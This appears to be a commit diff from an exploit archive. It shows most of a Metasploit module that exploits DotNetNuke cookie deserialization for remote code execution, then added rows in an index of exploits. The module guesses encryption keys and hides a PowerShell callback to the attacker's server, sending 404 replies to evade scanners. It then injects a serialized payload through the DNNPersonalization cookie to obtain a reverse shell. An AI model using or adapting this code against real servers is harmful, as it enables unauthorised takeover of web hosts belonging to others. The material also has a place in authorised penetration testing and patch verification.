@passphrases = phrases.to_a
|
||||
end
|
||||
|
||||
# ===========================================
|
||||
# Test all generated passphrases by initializing
|
||||
# an HTTP server to listen for a callback that
|
||||
# contains the index of the successful passphrase.
|
||||
# ===========================================
|
||||
def test_passphrases
|
||||
for i in 0..@passphrases.size - 1
|
||||
# Stop sending if we've found the passphrase
|
||||
if !@passphrase.empty?
|
||||
break
|
||||
end
|
||||
|
||||
msg = format("Trying KEY and IV combination %<current>d of %<total>d...", current: i + 1, total: @passphrases.size)
|
||||
print("\r%bld%blu[*]%clr #{msg}")
|
||||
|
||||
url = "#{get_uri}?#{get_resource.delete('/')}=#{i}"
|
||||
payload = create_request_payload(url)
|
||||
cookie = create_cookie(payload)
|
||||
|
||||
# Encrypt cookie value
|
||||
enc_cookie = Rex::Text.encode_base64(
|
||||
encrypt_data(@encryptor, cookie, @passphrases[i])
|
||||
)
|
||||
if @dry_run
|
||||
print_line
|
||||
print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
|
||||
print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...")
|
||||
print_line(enc_cookie)
|
||||
break
|
||||
end
|
||||
execute_command(enc_cookie, host: datastore['RHOST'])
|
||||
end
|
||||
end
|
||||
|
||||
# ===============================
|
||||
# Request handler for HTTP server.
|
||||
# ==============================
|
||||
def on_request_uri(cli, request)
|
||||
# Send 404 to prevent scanner detection
|
||||
send_not_found(cli)
|
||||
|
||||
# Get found index - should be the only query string parameter
|
||||
if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s]
|
||||
index = request.qstring[get_resource.delete('/').to_s].to_i
|
||||
@passphrase = String.new(@passphrases[index])
|
||||
end
|
||||
end
|
||||
|
||||
# ==============================================
|
||||
# Create payload to callback to the HTTP server.
|
||||
# Note: This technically exploits the
|
||||
# vulnerability, but provides a way to determine
|
||||
# the valid passphrase needed to exploit again.
|
||||
# ==============================================
|
||||
def create_request_payload(url)
|
||||
psh_cmd = "/b /c start /b /min powershell.exe -nop -w hidden -noni -Command \"Invoke-WebRequest '#{url}'\""
|
||||
psh_cmd_bytes = psh_cmd.bytes.to_a
|
||||
|
||||
cmd_size_bytes = write_encoded_int(psh_cmd.length)
|
||||
|
||||
# Package payload into serialized object
|
||||
payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end
|
||||
|
||||
object_size = write_encoded_int(payload_object.length)
|
||||
|
||||
# Create the final seralized ObjectStateFormatter payload
|
||||
final_payload = @osf_header + object_size + payload_object
|
||||
|
||||
b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))
|
||||
return b64_payload
|
||||
end
|
||||
|
||||
# =============================================
|
||||
# Reproduce the WriteEncoded method in
|
||||
# the native .NET ObjectStateFormatter.cs file.
|
||||
# =============================================
|
||||
def write_encoded_int(value)
|
||||
enc = []
|
||||
while (value >= 0x80)
|
||||
v = value | 0x80
|
||||
enc.push([v].pack("V")[0].unpack1("C*"))
|
||||
value >>= 7
|
||||
end
|
||||
enc.push([value].pack("V")[0].unpack1("C*"))
|
||||
return enc
|
||||
end
|
||||
|
||||
# =================================
|
||||
# Creates the payload cookie
|
||||
# using the specified payload
|
||||
# =================================
|
||||
def create_cookie(payload)
|
||||
cookie = "<profile>"\
|
||||
"<item key=\"k\" type=\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, "\
|
||||
"System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],"\
|
||||
"[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, "\
|
||||
"Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, "\
|
||||
"Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">"\
|
||||
"<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
|
||||
"<ProjectedProperty0>"\
|
||||
"<MethodName>Deserialize</MethodName>"\
|
||||
"<MethodParameters>"\
|
||||
"<anyType xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\
|
||||
"xmlns:d=\"http://www.w3.org/2001/XMLSchema\" i:type=\"d:string\" "\
|
||||
">#{payload}</anyType>"\
|
||||
"</MethodParameters>"\
|
||||
"<ObjectInstance xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\
|
||||
"i:type=\"ObjectStateFormatter\" />"\
|
||||
"</ProjectedProperty0>"\
|
||||
"</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
|
||||
"</item>"\
|
||||
"</profile>"
|
||||
return cookie
|
||||
end
|
||||
|
||||
# =========================================
|
||||
# Send the payload to the target server.
|
||||
# =========================================
|
||||
def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })
|
||||
uri = normalize_uri(target_uri.path)
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};"
|
||||
)
|
||||
if !res
|
||||
fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.")
|
||||
elsif res.code == 404
|
||||
return true
|
||||
elsif res.code == 400
|
||||
fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}")
|
||||
end
|
||||
end
|
||||
|
||||
# ======================================
|
||||
# Create and send final exploit payload
|
||||
# to obtain a reverse shell.
|
||||
# ======================================
|
||||
def send_exploit_payload
|
||||
cmd_payload = create_payload
|
||||
cookie_payload = create_cookie(cmd_payload)
|
||||
if @encrypted
|
||||
if @passphrase.blank?
|
||||
print_error("Target requires encrypted payload, but a passphrase was not found or specified.")
|
||||
return
|
||||
end
|
||||
cookie_payload = Rex::Text.encode_base64(
|
||||
encrypt_data(@encryptor, cookie_payload, @passphrase)
|
||||
)
|
||||
end
|
||||
if @dry_run
|
||||
print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
|
||||
print_warning("Printing exploit cookie payload...")
|
||||
print_line(cookie_payload)
|
||||
return
|
||||
end
|
||||
|
||||
# Set up the payload handlers
|
||||
payload_instance.setup_handler
|
||||
|
||||
# Start the payload handler
|
||||
payload_instance.start_handler
|
||||
|
||||
print_status("Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...")
|
||||
execute_command(cookie_payload, host: datastore['RHOST'])
|
||||
end
|
||||
|
||||
# ===================================
|
||||
# Create final exploit paylod based on
|
||||
# supplied payload options.
|
||||
# ===================================
|
||||
def create_payload
|
||||
# Create payload
|
||||
psh_cmd = "/b /c start /b /min " + cmd_psh_payload(
|
||||
payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
remove_comspec: true, encode_final_payload: false
|
||||
)
|
||||
|
||||
psh_cmd_bytes = psh_cmd.bytes.to_a
|
||||
cmd_size_bytes = write_encoded_int(psh_cmd.length)
|
||||
|
||||
# Package payload into serialized object
|
||||
payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end
|
||||
object_size = write_encoded_int(payload_object.length)
|
||||
|
||||
# Create the final seralized ObjectStateFormatter payload
|
||||
final_payload = @osf_header + object_size + payload_object
|
||||
b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))
|
||||
|
||||
vprint_status("Payload Object Created.")
|
||||
|
||||
return b64_payload
|
||||
end
|
||||
end
|
|
@ -11029,6 +11029,7 @@ id,file,description,date,author,type,platform,port
|
|||
48314,exploits/windows/local/48314.py,"Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH)",2020-04-13,boku,local,windows,
|
||||
48317,exploits/windows/local/48317.py,"B64dec 1.1.2 - Buffer Overflow (SEH Overflow + Egg Hunter)",2020-04-14,"Andy Bowden",local,windows,
|
||||
48329,exploits/windows/local/48329.py,"BlazeDVD 7.0.2 - Buffer Overflow (SEH)",2020-04-15,areyou1or0,local,windows,
|
||||
48337,exploits/macos/local/48337.rb,"VMware Fusion - USB Arbitrator Setuid Privilege Escalation (Metasploit)",2020-04-16,Metasploit,local,macos,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
@ -18092,6 +18093,13 @@ id,file,description,date,author,type,platform,port
|
|||
48273,exploits/multiple/remote/48273.rb,"IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit)",2020-03-31,Metasploit,remote,multiple,
|
||||
48274,exploits/hardware/remote/48274.rb,"DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit)",2020-03-31,Metasploit,remote,hardware,
|
||||
48275,exploits/windows/remote/48275.rb,"SharePoint Workflows - XOML Injection (Metasploit)",2020-03-31,Metasploit,remote,windows,
|
||||
48331,exploits/linux_mips/remote/48331.rb,"TP-Link Archer A7/C7 - Unauthenticated LAN Remote Code Execution (Metasploit)",2020-04-16,Metasploit,remote,linux_mips,20002
|
||||
48332,exploits/java/remote/48332.msf,"Liferay Portal - Java Unmarshalling via JSONWS RCE (Metasploit)",2020-04-16,Metasploit,remote,java,
|
||||
48333,exploits/linux/remote/48333.rb,"ThinkPHP - Multiple PHP Injection RCEs (Metasploit)",2020-04-16,Metasploit,remote,linux,
|
||||
48334,exploits/linux/remote/48334.rb,"Pandora FMS - Ping Authenticated Remote Code Execution (Metasploit)",2020-04-16,Metasploit,remote,linux,
|
||||
48335,exploits/php/remote/48335.rb,"PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit)",2020-04-16,Metasploit,remote,php,
|
||||
48336,exploits/windows/remote/48336.rb,"DotNetNuke - Cookie Deserialization Remote Code Execution (Metasploit)",2020-04-16,Metasploit,remote,windows,
|
||||
48338,exploits/multiple/remote/48338.rb,"Apache Solr - Remote Code Execution via Velocity Template (Metasploit)",2020-04-16,Metasploit,remote,multiple,
|
||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue